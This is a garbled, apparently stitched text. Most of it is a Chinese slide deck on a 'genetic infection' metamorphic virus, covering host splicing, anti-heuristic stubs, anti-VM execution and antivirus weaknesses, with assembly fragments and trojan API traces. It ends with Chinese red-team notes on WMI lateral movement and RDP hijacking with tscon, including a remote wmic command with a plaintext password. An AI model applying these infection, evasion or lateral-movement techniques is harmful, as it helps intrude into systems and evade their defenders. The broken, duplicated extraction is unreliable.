7 • d插入): 1 - 2 - 3 - 4 - 5 - 6 - 7 • 1 - 2 - 3 - 4 - x1- x2 - 5 - 6 - 7 1 2 3 4 x1 x2 5 6 7 • e易位): a1 - a2 - a3 - a4 - a5 - a6 |b1 - b2 - b3 - b4 - b5 - b6 • a1 - b2 - b3 - a5 - b1 - b6 |b1 - b6 - b5 遗传感染的一种实现思路 遗传感染的 种实现思路 II 生物病毒和我们 i d 的关系 • II 生物病毒和我们virus code的关系: • DNA <--> CODE | Chromosome <--> Program Function • Genes <--> Commands | Base <--> Bits • 点突变: • 1000 1001 1101 1000 ... mov ax, bx , • XOR 0000 0000 0000 1000 ... random number • 1000 1001 1101 0000 ... mov ax, dx , 遗传感染的一种实现思路 遗传感染的 种实现思路 染色体突变 倒序情况 • 染色体突变,倒序情况: • CyHeSe: CyHeSe: • 36 36 • cmp ax, 36 cmp ax, 36 • jge BefCyHeSe jge BefCyHeSe • cmp ax 18 cmp ax 18 • cmp ax, 18 cmp ax, 18 • jl SecCheck jl SecCheck • mov dh 1 sub ax 18 mov dh, 1 sub ax, 18 • sub ax, 18 mov dh, 1 • SecCheck: SecCheck: • mov cl, al mov cl, al • ret ret 遗传感染的一种实现思路 遗传感染的一种实现思路 • 改进我们的的思路? • 把每一个计算机病毒想象成是携带若干个”基因(DNA)”的代码片 段,在感染宿主程序后产生了变异。 • 也就是病毒个体改变了宿主个体的“基因”,由此产生了进化。 • 我们设想病毒是由两部分组成的代码序列结构 有效基因 无效基因 • • + = virus 有效基因 * 遗传感染的实现思路 遗传感染的实现思路 病毒个体 • virus * * * * * * 感染前宿主 • host 感染后宿主 • virus * * * * * * 把握好的原则 舍弃掉解密器/收缩器 把握好的原则-舍弃掉解密器/收缩器 • 不要解密器 -- 让病毒的”基因“ 与宿主自然混 合。 • 不要收缩器 -- 让病毒的“非基因”部分以变形 式存在 利 令模板 产生过度 的形式存在,利用指令模板控制好,不产生过度 膨胀,自然也不需要收缩器。 • 这样病毒代码只有与宿主程序混合的一部,和自 身变形的一部分 从整体看病毒代码完全变形 身变形的 部分,从整体看病毒代码完全变形, 而执行过程中本身不存解密过程,在一代一代的 感染中能完全的变形,且不会代码膨胀。 构造一个新的变形机制 构造 个新的变形机制 病毒的结构布 • 病毒的结构布局: 病毒/宿主混合部分,anti-vm Stub 垃圾数据,anti-heur static Garbage Data 变形的病毒体 Metamorphism Code 加密的数据,anti-heur static Encrypt Data 构造一个新的变形机制 构造一个新的变形机制 • 抽出病毒中若干个函数当作”基因“, 在交叉点的位置进 行突变形成一个stub区域。任意的病毒执行过程都可以写 成如下的形式 成如下的形式: • START: • call my_DNA1 ll DNA2 • call my_DNA2 • call my_DNA3 • ... • v code: • v_code: • include virus_delta.inc ; 重定位处理函数 • include virus_get_k32_base ; 获得kernel32.dll 基址 • ... • vv_code: • vir_vars VIR_STRUCT <> ; 病毒自身使用变量的结构 • vEnd: vEnd: • END START 构造一个新的变形机制 构造一个新的变形机制 • 感染前后的一个对比图 • 被修改交叉点的宿主文件 宿主代码/病毒/anti-av(stub) 感染前的宿主程序 metamorphism code encrypt data 病毒"基因"的提取 病毒 基因 的提取 • 把完整功能的病毒看作可拆分为一个个单独的函数,我们将这些函数分为“基因函数” + “工具 函数”。 本文使用的一种分类情况: • 基因函数包括6个: • m delta (重定位函数) • my_delta (重定位函数) • my_get_k32_base_addr (获得kernel32基址) • my_get_apis_addr (获得病毒需要的API) • my_find_director (查找要感染的文件) • my_payload (执行病毒攻击载荷) • my_exit (退出) • 工具函数包括不限: • my crc32 (计算一段buff的crc32值) • my_crc32 (计算一段buff的crc32值) • my_infect_file (感染一个指定文件) • my_lde_opsize (计算一个指定位置的指令长度) • my_alloc_virus_body (分配一段内存空间给病毒体) • my_find_jump_or_call (搜索宿主的call/jump指令) • my_safe_api_address (获得safe-api的地址) • my_gen_and_proc_code (产生一段遗传感染的代码) • my mig (产生一个指定的随机寄存器指令) • my_mig (产生一个指定的随机寄存器指令)... 病毒"基因"的提取 病毒 基因 的提取 • 如何确定“基因函数”的数量? • 通过程序测试,统计正常程序代码段中的call的数量。 • 0xff10 ~ 0xff13 - call [Rx] eax ~ edx • 0xff16 ~ 0xff17 - call [Rx] esi ~ edi 0xff16 0xff17 call [Rx] esi edi • 0xffd0 ~ 0xffd7 - call Rx eax ~ edi • 0xff15 - call [addr] 间接寻址 • 0 8 ll dd 直接寻址 • 0xe8 - call addr 直接寻址 • 为什么选择call指令来作为基因函数的数量测试依据? 为什么选择 指令来作为基因函数的数量测试依据 • 我们希望病毒能与宿主程序处于同一生存周期,尽量”延 长“病毒的执行过程 长“病毒的执行过程。 病毒"基因"的提取 病毒 基因 的提取 • 一些常用程序的代码段call的统计: • migpwd.exe (7) \%system32%\ 目录下的文件 • mmc exe (7) • mmc.exe (7) • mqtgsvc.exe (15) • • avpcc exe (9) \avp\ 目录下 avpcc.exe (9) ...\avp\ 目录下 • AVPExec.exe (10) • AVPInst.exe (10) • klav.exe (8) klav.exe (8) • 360Diagnose.exe (11)...\360safe\ 目录下 • 360FunPro.exe (9) • 360leakfixer.exe (8) • ... • 结论 : ”基因函数“的选取上4~6较为合适。 宿主交叉/变异点的选择 宿主交叉/变异点的选择 • 宿主的哪些位置可作为交叉点? • 1 能体现出宿主程序"处于运行中某阶段“的指令 ,显然call 指令是最好的 一个选择. 个选择. • 2 选择的位置要有随机化。 • 利用z0mbie 统计的一般程序的指令使用频率: • 8B 6588971 15% mov modr/m • FF 2736426 6% push modr/m • E8 2509099 6% call • 83 2240885 5% cmp/add modr/m (including add esp, xx after call) • 89 2045133 4% mov modr/m • 89 2045133 4% mov modr/m • 8D 1573296 3% lea modr/m • 50 1423289 3% push eax • 74 1269798 3% jz • 6A 1064820 2% push xx • ...... 3 可以把宿主程序看作是由这些高频指令分割组合而成,而这些位置 就是交叉点 就是交叉点。 宿主交叉/变异点的选择 宿主交叉/变异点的选择 • 获得宿主交叉点的随机位置算法: • 1 随机选择若干个高频指令中某一个指令作为本次搜索的定位点指令fre ins 1 随机选择若干个高频指令中某 个指令作为本次搜索的定位点指令fre_ins。 • 2 在搜索到宿主代码段call 指令后,匹配call 后面指令是否出现fre_ins指 令,若有则记录该位置偏移cross_ins_off并转向步骤3。 _ _ • 3 分析cross_ins_off值距离下一个call之间是否有5字节,不足则 • cross_ins_off += calc_ins_len,跳向步骤1,继续进行寻找,大于等于5字节 则记录下该位置及长度 i l 作为 个可选的交叉点 进入步骤4 则记录下该位置及长度cross_ins_len,作为一个可选的交叉点,进入步骤4。 • 4 产生一个新的fre_ins,重复步骤2 • 5 记录下本次搜寻到的交叉点个数,除以病毒基因函数个数,得到一个平均 值cp_average。 • 注意:要查找到交叉点处指令不能包含操作ebp,esp的指令 跳转指令。 注意:要查找到交叉点处指令不能包含操作ebp,esp的指令,跳转指令。 宿主交叉/变异点的选择 宿主交叉/变异点的选择 • 当用上面算法的得到的cp_average < 1时,则采用基本查找方式。 • 仅检测非ebp,esp操作,且存在>=5字节的空间的指令位置,记录该值 若该方式得到的 仍然小于 那么不进行感染 ins_off,若该方式得到的cp_average仍然小于1,那么不进行感染。 • 因为得到这些ins_off值本身可能处于jz,jnz 等条件分支中,所以为了增大 _ j j 感染几率,假设cp_average = N,那么每N个连续的cross_ins_off的位置,需 要用同一个病毒的DAN(i)函数去hook掉。 • 下图是winxp-sp2下记事本notepad.exe的入口点。 下图是 p p 下记事本 p 的入 点 Stub区域的组成元素 Stub区域的组成元素 • 构造stub区域: • 1将宿主ins_off位置抽出若干条大于5字节指令,copy到stub区域, 记为元素1 记为元素1。 • 2病毒的“基因函数”,以后将记为DNA函数记为元素2。 • 3将Safe-API记为元素3。 S f API 例子 • Safe-API 例子: • user32.dll • ActivateKeyboardLayout(2), ( ) • GetCaretPos(5) ... • kernel32.dll • UTUnRegister(1) , • IsDBCSLeadByteEx(2) ... • Gdi32.dll • AbortDoc(1) , Chord(9) , CreateBitmap(5)... bo t oc( ) , C o d(9) , C eate t ap(5)... Safe-API的参数问题 Safe API的参数问题 • 需要产生一个看似合法空间的safe api 参数 ,否则都是随机产生数字,可 能会导致因启发式报警。 • ;@1 产生一个合法的地址参数,0 ~ 1000h 随机数字+ 0x401000 基址 ;@1 产生 个合法的地址参数,0 1000h 随机数字 0x401000 基址 • ;@2 产生一个1000h 的整数,仿真句柄 • ;@3 产生一个7c000000h为基址的参数,仿真kernel32基址 • ;@4 产生一个80000000h的数字 • ;@5 产生一个数字0 ~ 10 • ;@6 产生一个0 • ;@7 push eax • ;@8 push ebx • ;@9 push [ecx+eax]; • ;@10 push edi [ ] • ;@11 push [esi]; • ... • 其中这些操作寄存器的参数要慎重,因为可能产生”非法“,内存寻址的地 址。 Stub 区域的构造 Stub 区域的构造 • 针对宿主程序交叉点的修改可以有几种常见的方式: 1 直接修改为 ll 本文使用的方式 • 1 直接修改为call xxxxxxxx ,本文使用的方式。 • 2 直接修改为jmp xxxxxxxx ,因和壳的某些方式相似,容易引起一 些过度敏感的启发式扫描报警 些过度敏感的启发式扫描报警。 • 3 push xxxxxxxx ;该方式同上,也可能会引起启发式报警。 • ret • • 4 如果宿主的交叉点可用空间足够大,可使用一些技巧,混淆直接获 取控制的方式 比如 这样对抗静态启发式分析 取控制的方式,比如jmp Rx,这样对抗静态启发式分析。 • 最好的方式是每次寻找宿主交叉点时,随机的选择其中一种。 Stub 区域的构造 Stub 区域的构造 • stub区域的构造规则: 1 随机产生0 N个 f API 用于本次 t b的构建 • 1 随机产生0~N个safe-API,用于本次stub的构建。 • 2 随机的组合元素1,2,3也就是宿主代码,safe-API,病毒DNA的执 行顺序 行顺序。 • 3 在产生这一区域的开头和结尾随机插入垃圾数据。 • 4 需要计算两种情况: • 1) 如果cross_ins_len == 5 ,那么因为修改了宿主的为 call xxxxxxxx,刚好此时堆栈空间为宿主的下一条指令,那 么在stub 控制区返回宿主时,直接写入ret. • 2) 如果cross_ins_len > 5,则在stub控制区恢复堆栈,然后用 返回宿主 jmp 返回宿主。 同一程序的不同感染效果 同一程序的不同感染效果 同一程序的不同感染效果 同一程序的不同感染效果 构造宿主/病毒的双执行环境 构造宿主/病毒的双执行环境 为何要构造 执行环境 • 为何要构造双执行环境? • 1 遗传感染与以往病毒技术的最大不同点是,遗传感染将病毒转化为宿主程 序指令流的若干个部分。 • 2 以往的病毒技术,无论使用何种复杂的方式,入口模糊,嵌入式解密方式, 多态,变形等等,但对宿主程序的控制权都是一旦获得就不再释放,直到病毒 程序感染完毕退出为止 程序感染完毕退出为止。 • 3 对于虚拟机启发式检测来说,连续的病毒代码操作,是容易被当作可疑行 为的 如连续的内存地址解密 查找kernel32基址 等等 为的,如连续的内存地址解密,查找kernel32基址,等等... • 4 像Nexiv_der 病毒那样,病毒代码的执行与具体环境有关,增加分析的难 度。 • 5 所以将病毒的DNA函数分段的与宿主程序混合,在很大程度上起到对抗虚 拟机检测的的功能 要做到的是尽量和宿主程序同步结束 而不是上来就获 拟机检测的的功能。要做到的是尽量和宿主程序同步结束,而不是上来就获 得控制权,也不是最后获得控制权 构造宿主/病毒的双执行环境 构造宿主/病毒的双执行环境 • 双执行环境下控制流关系: h t1 h t2 h t3 h t4 END host1 host2 host3 host4 END virus1 virus2 virus3 virus4 virus1 virus2 virus3 virus4 怎样构造宿主/病毒的双执行环境? 怎样构造宿主/病毒的双执行环境? 首要任务是保存宿主程序的当前运行时寄存器的值host rgs ctx,及病毒程序运行 首要任务是保存宿主程序的当前运行时寄存器的值host_rgs_ctx,及病毒程序运行 时的寄存器值virus_rgs_ctx. 方案1) 宿主,病毒共用esp滑动,把宿主/病毒的数据保存在堆栈的低端地址处,每次 方案 ) 宿主,病毒共用 p滑动,把宿主/病毒的数据保存在堆栈的低端地址处,每次 执行时读取和恢复。存在的问题是,可能宿主程序本身的操作会覆盖掉这些值,导致 意想不到的崩溃。 • 方案2) alloc 一段空间,分别给host ,virus 用, 但在执行stub 区域时,运行 DNA(1),DNA(2)时并没有获得具体病毒使用的API地址,不能使用alloc 函数,无法分 配,如果这些操作写入DNA(1)中,可能会引起启发式扫描器的怀疑。 • • 方案3) 宿主程序的寄存器组在stub区域用pusha/fd ,popa/fd 保存及恢复,病毒 DAN执行后保存寄存器值到病毒变量环境中,本文采用方案3)方式。 • • 在执行病毒DNA(1) 时,保存ebp的值到某处,因为执行过程中ebp值可能会变,而此时 还不知道病毒的具体变量地址,故只能写入代码中间的空间处保存。 宿主/病毒的双执行环境实现 宿主/病毒的双执行环境实现 • 除病毒DNA(1)外,每一个病毒DNA函数的开头和结尾都需 要调用保存病毒寄存器的函数,例如: • my_DNA proc • ... • call my_restore_ctx_to_rgs ; 恢复上次执行病毒DNA函 数时的寄存器环境到当前的真实cpu寄存器中 • ... • call my_save_rgs_to_ctx ; 保存本次操作的后的真 实cpu寄存器环境到病毒自身的寄存器环境。 实cpu寄存器环境到病毒自身的寄存器环境。 • ret • my DNA endp y_ p 宿主/病毒的双执行环境实现 宿主/病毒的双执行环境实现 • 注意事项: • 因为选择的交叉点可能存在于宿主程序不同分支中,所以 因为选择的交叉点可能存在于宿主程序不同分支中,所以 可能存在同一病毒DNA函数多次调用的可能,故需要为每 一个DNA函数设定一个序号(0 ~ n),判断符合当前序 号后,才能继续执行,例如: 号后,才能继续执行,例如: • my_get_k32_base_addr proc ll • call my_restore_ctx_to_rgs ;首先恢复病毒寄存器环境 • cmp [ebp].vir_cur_exec_dna,1 ;检测是否是执行序号1 • jnz k_exit • mov [ebp].vir_cur_exec_dna,2 ;执行序号加1为下一个DNA做函数判断依据。 • my_get_k32_base_addr proc 宿主/病毒及感染后的重定位 宿主/病毒及感染后的重定位 • 重定位的方式有两种: 1 种是在分析完 个交叉点后就进行重定位 但这要有 个固定值 • 1一种是在分析完一个交叉点后就进行重定位,但这要有一个固定值 的边界值,也就是stub的大小要固定,用此作为重定位的相对开始位 置,病毒的其它代码以此位置为开始位置。(本文使用了该方式) • 优点:编写容易 • 缺点:容易被静态启发检测跟踪 • 2一种是在病毒的stub区域生成后,对所有的交叉点统一进行重定位, 但这要记得下每一个要重定位的位置偏移,比较麻烦。 • 优点:可生成大小自由可控制stub区域,有效对抗静态启发分析。 • 缺点:重定位的过程比较麻烦 涉及到的重定位类型 涉及到的重定位类型 • 1 对于宿主程序交叉点的重定位修正 • 2 病毒自身DNA函数的重定位 • 3 Safe-API 的重定位 • 3 Safe API 的重定位 • 4 跳回宿主程序的重定位 • 对于宿主程序交叉点的重定位修正 对于宿主程序交叉点的重定位修正 • 原始宿主程序/修改后的宿主程序/病毒stub : 对于宿主程序交叉点的重定位修正 对于宿主程序交叉点的重定位修正 • 1 获得宿主程序的虚拟地址va_host_addr • 2 获得病毒stub部分的虚拟地址va_vir_stub_start 3 获得当前要写入的地址相对 t b部分的偏移值 • 3 获得当前要写入的地址相对stub部分的偏移值 • vir_off = raw_edi - raw_stub • 4 要跳向的目的地址 • va_vir_cross = va_vir_stub_start + vir_off • 5 修改宿主程序的重定位值 • dif i h t dd 5 • dif = va_vir_cross - va_host_addr - 5 病毒自身DNA函数的重定位 病毒自身DNA函数的重定位 • 1 计算病毒DNA函数相对v_code的偏移off1 • 2 计算当前要写入的位置距离stub开头的偏移off2 2 计算当前要写入的位置距离stub开头的偏移off2 • 3 自身重定位的值dif = off1+off2 -5 .code Start: call my_DAN1 ll DNA2 call my_DNA2 ... v_code: i l d " i 1 i include vir_xx1.inc" include "vir_xx2.inc" ... vEnd: vEnd: END Start Safe API 的重定位 Safe-API 的重定位 • 1 获得Safe-API虚拟地址va_sf_off • 2 获得病毒 t b部分的虚拟地址 i t b t t • 2 获得病毒stub部分的虚拟地址va_vir_stub_start • 3 获得当前要写入的地址相对stub部分的偏移值 • vir_off = raw_edi - raw_stub • 4 获得当前要写入Safe-API的虚拟地址 • va_vir_cur = va_vir_stub_start + vir_off • 5 要跳向Safe-API的数值 要跳向 的数值 • dif = va_off - va_sf_off - 5 • 跳回宿主程序的重定位方式同上面方式类似,不在赘述 跳回宿主程序的重定位方式同上面方式类似,不在赘述。 完整的遗传感染变形方式 完整的遗传感染变形方式 • 1 stub 部分已经可随机的产生和宿主混合的代码,同时具备对抗动态虚拟 机,静态启分析的功能。 后面的病毒代码以变形的形式生产 分为两部分 • 2 后面的病毒代码以变形的形式生产,分为两部分, • 1)加密的指令模板 • 2)生产的变形代码空间 • 3 辅助引擎: • 1)微型的变形引擎 2)指令生成器(MIG) 3)无效指令生成器。 • • 感染后扩展为 (1)stub (1)宿主/病毒/Safe-API/混淆指令/垃圾数据 (2)生产新的混淆代码 (2)变形代码空间 (3)指令模板 (3)加密的指令模板 (4)随机产生垃圾数据 ( )随机产 圾数据 完整的遗传感染变形方式 完整的遗传感染变形方式 微型的变形引擎 • 微型的变形引擎: • MICRO_META_DATA STRUC • MMD ROUTINE DD ; 指令处理例程 _ ; 指令处 例程 • MMD_SIGNED DB ; 可否扩展 • MMD_OPCODE DB ; 指令的识别码 • MICRO_META_DATA ENDS • dd offset mmd_stosw ==> 66:AB stos word ptr es:[edi] • db 1,66h,2,0ABh,0 (*)-->66:8907 mov word ptr ds:[edi],ax • (*)--> 83C7 02 add edi, 2 , • dd offset mmd_push_exx ==> 52 push edx • db -1,50h,0 (*)--> ff f2 push edx • (*) > 50 pu h • (*)--> 50 push eax • 8b c3 mov eax,ebx • 50 push eax • 58 pop eax 遗传感染思路的扩展 遗传感染思路的扩展 • 发挥想象力,构造出更多可利用的病毒基因? • 因为普通的病毒程序基因我们分别是提取了执行过程中的几个部分,如果是加密病毒 呢?假设一个普通的加密病毒使用如下方式加密。 • algo1 (add/xor/sub) -- key1 • algo2 (rol/ror) -- key2 • 要加密的数据x,加密后的数据y • x = algo1 (key1 ,x) • y = algo2 (key2,x ) • 我们可以把解密的汇编代码拆解为若干个部分 • mov ecx,VIRUS_SIZE --------------------- (1) • mov edi, offset ENCRYPT_DATA --------------------- (2) • de code: _ • add/xor/sub dword ptr[edi],key1 --------------------- (3) • rol/ror key2 --------------------- (4) • add edi, 4 add edi, 4 --------------------- (5) (5) • loop de_code --------------------- (6) 遗传感染思路的扩展 遗传感染思路的扩展 • 1拆解的每一条指令都是当作病毒的DNA函数,混杂在无 效指令当中,当作一个DNA执行函数。 • 2在这个解密算法当中,还可以加入一些不影响解密的指 令进来,每次调整这些指令顺序,这样DNA函数本身就具 有了可变的顺序 可以生产多种组合方式 有了可变的顺序,可以生产多种组合方式。 • 3对于(3),(4),(5),(6)包含loop的结构,需要靠执行 3对于(3),(4),(5),(6)包含loop的结构,需要靠执行 序号判断是否执行到了DNA(6),对于执行到DNA(6)后,3, 4,5自动跳向下一个DNA函数,而不是ret。当然这样的 做法会导致产生的DNA函数比较空间占用较大,因为填充 做法会导致产生的DNA函数比较空间占用较大,因为填充 过程的指令数量是随机产生的。 解密完成后 跳向病毒代码空间执行 • 4解密完成后,跳向病毒代码空间执行。 遗传感染思路的扩展 遗传感染思路的扩展 • 解密代码做病毒DNA的情况: 遗传感染思路的扩展 遗传感染思路的扩展 • 如果加/解密的方式更加复杂? • 如果可以对变形病毒提取基因? 如果可以对变形病毒提取基因? • 如果利用遗传感染做“外壳”,解密后的是木马 程序? • 如果不使用Safe-API,改从 MSVBVM60.dll ,MFC*.dll中寻找一些”东西“来 做变异? 做变异? • ... 这种遗传感染的思路足可以对抗反病毒程序的检 • 这种遗传感染的思路足可以对抗反病毒程序的检 测,至于能不能做好完全是编写上的谨慎加技巧。 当然,一点把柄都不留下也是很非常困难的。 当然, 点把柄都不留下也是很非常困难的。 AV检测的弱点剖析 AV检测的弱点剖析 • 1 特征检测: • 该方式受变形代码的影响非常大,很容易失效。虽然反病毒引擎中特征提取的方式非常 多,可以根据病毒库的不同对应不同的特征提取方式,但针对多态/变形情况,2~ 5 字节的特征是引擎在效率及误报方面所不能承受的 字节的特征是引擎在效率及误报方面所不能承受的。 • 2 启发式检测: • 静态启发式检测受加壳 反汇编深度 花指令技巧 系统特性等因素困扰 不能完全 静态启发式检测受加壳,反汇编深度,花指令技巧,系统特性等因素困扰,不能完全 还原出程序的具体流程。 • 静态启发式的优势是它不受代码环境,程序分支影响,是对动态启发式分析的补充,目 前存在以下问题: • 1)除了利用分析PE文件特异性来确定是否存在被感染的可能外,检测的手段还是偏少, 应结合文件代码段的分析。 )缺少对的同义 函数的语义识别 比如 • 2)缺少对的同义API函数的语义识别,比如 • [CFile.OpenFile ] [fopen] [CreateFileA/W], • [CreaeProcess ] [ShellexEcute] [WinExec] • 等均是相同含义,但对静态分析来说却是不同的“对象”,这样会导致规则冗余。 等均是相同含义,但对静态分析来说却是不同的 对象 ,这样会导致规则冗余。 AV检测的弱点剖析 AV检测的弱点剖析 • 3)需要增强文件格式规则的分类,防止exe规则与dll规则混用。 • 4)增强对特异性的分析而不是一定要恶意行为 4)增强对特异性的分析而不是 定要恶意行为。 • 5)增强关联性分析,例如分析恶意程序(Trojan/DL/W32/Delf.nl)静态启 发式分析到了 • CODE:00412835 E8 EE 0B FF FF call sub_403428 • CODE:0041283A loc_41283A: • CODE:0041283A 6A 01 push 1 ; nShowCmd • CODE:0041283A 6A 01 push 1 ; nShowCmd • CODE:0041283C 6A 00 push 0 ; lpDirectory • CODE:0041283E 6A 00 push 0 ; lpParameters • CODE:00412840 68 64 2D 41 00 push offset File ; "h // 26 / / ili h l" "http://aa.xz26.com/gg/aili.html" • CODE:00412845 68 84 2D 41 00 push offset Operation ; "Open" • CODE:0041284A 6A 00 push 0 ; hwnd • CODE:0041284C E8 2F 30 FF FF call ShellExecuteA CODE:0041284C E8 2F 30 FF FF call ShellExecuteA AV检测的弱点剖析 AV检测的弱点剖析 如果此时报警 则该规则会产生误报 因为受自身分析程度的影响 • 如果此时报警,则该规则会产生误报,因为受自身分析程度的影响, 不能完全符合一种病毒家族的规则,这时需记录该位置,待全部分析 完毕,继续向该位置前,后扫描,寻找更多的“依据”,对该样本, 向后扫描会出现,创建临时文件的行为。 向后扫描会出现,创建临时文件的行为。 • 反病毒技术发展到今天,动态虚拟机的启发式已经非常成熟。不仅仅 是应用在对抗多态/变形病毒的方面,而是集脱壳启发式分析一体化 是应用在对抗多态/变形病毒的方面,而是集脱壳启发式分析 体化 的检测方案,目前在以下几方面仍需改进: • 6) 受程序实际分支条件干扰,触发发条件影响,可能被病毒引向另 ) 受程序实际分支条件干扰,触发发条件影响,可能被病毒引向另 一个流程。 • Trojan.Win32.Small.cif(PECompact 2.x壳) • bytehero team动态虚拟机仿真环境下执行情况: AV检测的弱点剖析 AV检测的弱点剖析 • 0x9000036B(0x03EDF88C)--->0x00415221 VirtualAlloc • 0x90000241(0x03EDF88C)--->0x05200BAC LoadLibraryA • 0x90000197(0x03EDF88C)--->0x05200BCE GetProcAddress 0x90000197(0x03EDF88C) >0x05200BCE GetProcAddress • ... • 0x90000333(0x03EDF88C)--->0x00409623 SetUnhandledExceptionFilter • 0x9000020E(0x03EDF88C)--->0x004095CF HeapSize ( ) p • 0x900001AC(0x03EDF88C)--->0x0040561A GetStartupInfoA • ----》已经完成脱壳,此处调用静态分析,下方分析的结果是动态没有分析到恶意行 为,直接退出。 • 0x90002F75(0x03EDF88C)--->0x0040104D GetModuleFileNameExA • 0x900001B6(0x03EDF88C)--->0x00401086 GetSystemDirectoryA • 0x9000013B(0x03EDF88C)--->0x00403BD7 GetCurrentProcess 0 90002F75(0 03EDF88C) >0 00403BDD G tM d l Fil N E A • 0x90002F75(0x03EDF88C)--->0x00403BDD GetModuleFileNameExA • 0x9000013B(0x03EDF88C)--->0x004028CA GetCurrentProcess • 0x90002F75(0x03EDF88C)--->0x004028D0 GetModuleFileNameExA • 0x9000004F(0x03EDF88C)--->0x0040298C CreateFileA • 0x9000004F(0x03EDF88C) >0x0040298C CreateFileA • 0x900000B6(0x03EDF88C)--->0x004010D5 ExitProcess AV检测的弱点剖析 AV检测的弱点剖析 • Trojan.Win32.Small.cif在静态分析中的情况: • 0xdb : 0x40372c call[3] - > RegCreateKeyExA • 0xdc : 0x40378c call[3] - > RegSetValueExA 0xdc : 0x40378c call[3] > RegSetValueExA • 0xdd : 0x40379b call[3] - > RegCloseKey • ... • 0x10c : 0x403f51 call[5] - > FindNextFileA • 0x10d : 0x403f5f call[5] - > GetLastError 0x10d : 0x403f5f call[5] > GetLastError • 0x10e : 0x403f66 call[5] - > FindClose • 0x110 : 0x402207 call[4] - > GetFileAttributesA • ... • 0x3a8 : 0x4032bd call[3] - > GetCurrentProcess 0x3a8 : 0x4032bd call[3] > GetCurrentProcess • 0x3a9 : 0x4032c4 call[3] - > OpenProcessToken • 0x3aa : 0x4032d9 call[3] - > LookupPrivilegeValueA • 0x3ab : 0x403301 call[3] - > AdjustTokenPrivileges • 0x3ac : 0x40330e call[3] - > CloseHandle 0x3ac : 0x40330e call[3] > CloseHandle • 0x3b1 : 0x403fe6 call[3] - > GetCurrentDirectoryA • 0x3b2 : 0x40405e call[3] - > CreateFileA • 0x3b3 : 0x404095 call[3] - > CloseHandle • 0x3b6 : 0x4040ef call[3] - > GetSystemDirectoryA 0x3b6 : 0x4040ef call[3] > GetSystemDirectoryA • 0x3b7 : 0x404194 call[3] - > CloseHandle AV检测的弱点剖析 AV检测的弱点剖析 • 7)因为不可能仿真所有的windows API函数,那么anti-vm 也就是变 得容易了,这方面正不断的去完善。 • 8)一些特殊的结构没有模拟,例如: • __CxxFrameHandler 方式触发的病毒代码 t d f t t f d • typedef struct _cxx_func_descr • { • u32 magic; // 0x19930520 • u32 unwind_count; • u32 *unwind_info; • u32 tryblock_count; • u32 *tryblock; // 关键跳转数据 ,指向下面的结构try_info • u32 unkown[3]; • }cxx func descr; }c _ u c_desc ; AV检测的弱点剖析 AV检测的弱点剖析 • typedef struct _try_info{ • u32 start_level; 32 d l l • u32 end_level; • u32 catch_level; • u32 catchblock_count; • u32 *catchblock_info; //关键跳转数据,指向下面的catchblock 结构 • }try_info; typedef struct _catchblock_info{ • u32 flags; • u32 *type info; yp _ ; • u32 offset; • u32 *call; // catch 块处理函数 • }catchblock info; }catchblock_info; 未来可能的检测对抗? 未来可能的检测对抗? • 目前在AV-Soft中静态/动态启发式分析是独立存在的模块,唯一的联系是受 引擎的调度控制。 • 面对未来复杂的病毒感染技术中可能要联合起来分析,比如单独的静态是不 能分析修正过的重定位信息的,下面这一句是被修正过的重定位数据,因为没 有导入该函数,静态检测将无法识别7C46E012这个API的地址值,需要动态分 析辅助 析辅助。 • 00404044 53 push ebx • 00404045 E8 120E467C call kernel32 Toolhelp32ReadProcessMemory 00404045 E8 120E467C call kernel32.Toolhelp32ReadProcessMemory • 0040404A E8 EFCFFFFF call vir.0040103E • 同样动态可以利用静态的流程跳跃,排除一些无效分支干扰。 同样动态可以利用静态的流程跳跃,排除 些无效分支干扰。 • 未来能否设计出即时执行虚拟机技术?能在任何代码环境下模拟执行,不受虚 拟环境影响。 谢谢! 谢谢! Q&A Q&A Thanks for your attention.... neineit@gmail com [email protected] www.bytehero.com Reference Reference • [1] SPTH 《Code Evolution: Follow nature's example》 • [2] saec. 《Evolutionary Virus Propogation Technique》 • [3] kaze. 《Stealth api-based decryptor》 • [4] z0mbie 《Opcode Frequency Statistics》 • [5] peter szor . 《The Art of Computer Virus Research and Defense》 [5] peter szor . 《The Art of Computer Virus Research and Defense》 • [6] J. S. Bach. 《Artificial intelligence and viruses》 • [7] Benny. 《Benny's Metamorphic Engine for Win32》 [8] 胡仕成 《Vi C E l i G i Al i h 》 • [8] 胡仕成. 《Virus Co-Evolutionary Genetic Algorithm》 申明 申明 • 本文目的旨探索一种新的感染方式及如何 预防 本文仅做技术研究交流之用 不提 预防。本文仅做技术研究交流之用,不提 供源码及二进制程序。任何人都可以利用 此文进行自己的技术研究及代码实现。但 自己负担开发程序及造成非法行为的法律 自 负担开发程序及造成非法行为的法律 责任。
pdf
T1047: WMI for Lateral Movement 参考:Windows管理规范 Windows管理规范(英语:Windows Management Instrumentation,缩写WMI)由一系列对 Windows Driver Model的扩展组成,它通过仪器组件提供信息和通知,并提供了一个操作系统的 接口。WMI是微软对分布式管理工作组(DMTF)的基于Web的企业管理类(WBEM)和通用信 息模型(CIM)标准的实现。 简单的说下重点: 允许使用脚本语言(VBScript 或Powersehll)管理本地或远程服务器和个人电脑 预转在Windows 2000以后的所有Windows 系统中(包括Windows Server 系列) 服务默认自动启动 Micrsoft 提供了一个 Windows Management Instrumentation Command-line (wmic)的命令行界 面 你可能注意到提示wmic已启用,那么官方推荐使用什么呢? Get-WmiObject ,在笔者的另一篇 WMI中有介绍该命令。 Execution 确认目标"Windows Management Instrumentation"已开启,服务名称 winmgmt ,可使用 net start winmgmt 开启服务 Observations 在目标主机cmd 的父进程是 WmiPrvSE.exe ,而 WmiPrvSE.exe 是在 services.exe 下: 检查wmic 客户端当前sysmon和Windows 安全日志: wmic /node:OWA2010SP3 /user:[email protected] /password:Admin!@#45 process call create "cmd.exe /c calc" #如无法使用主机名,请配置为ip 原文用的kibana,搜索 calc* 可查看相关日志,这里用的自带的事件查看器。 和winRM一样,3次Logon事件,4648显示凭据登录事件,详细信息内显示了:用户名、目标主 机名、…… 如果配置了sysmon,也可以在sysmon中查看对应的日志 注:笔者当前的wmic客户端为配置 winlogbeat,所有相关日志无法在Kibana上查看 可看到 OWA2010SP3 上4624事件: T1076: RDP Hijacking for Lateral Movement with tscon 先上效果,整个过程无需密码: Execution 参考:tscon 渗透技巧——利用tscon实现未授权登录远程桌面 tscon.exe 作用:连接到远程桌面会话主机服务器上的另一个会话的工具 我这里不是远程,但是RDP 情况下相同,用大白话说下tscon的功能:切换会话。 tscon {<SessionID> | <SessionName>} [/dest:<SessionName>] [/password:<pw> | /password:*] [/v] 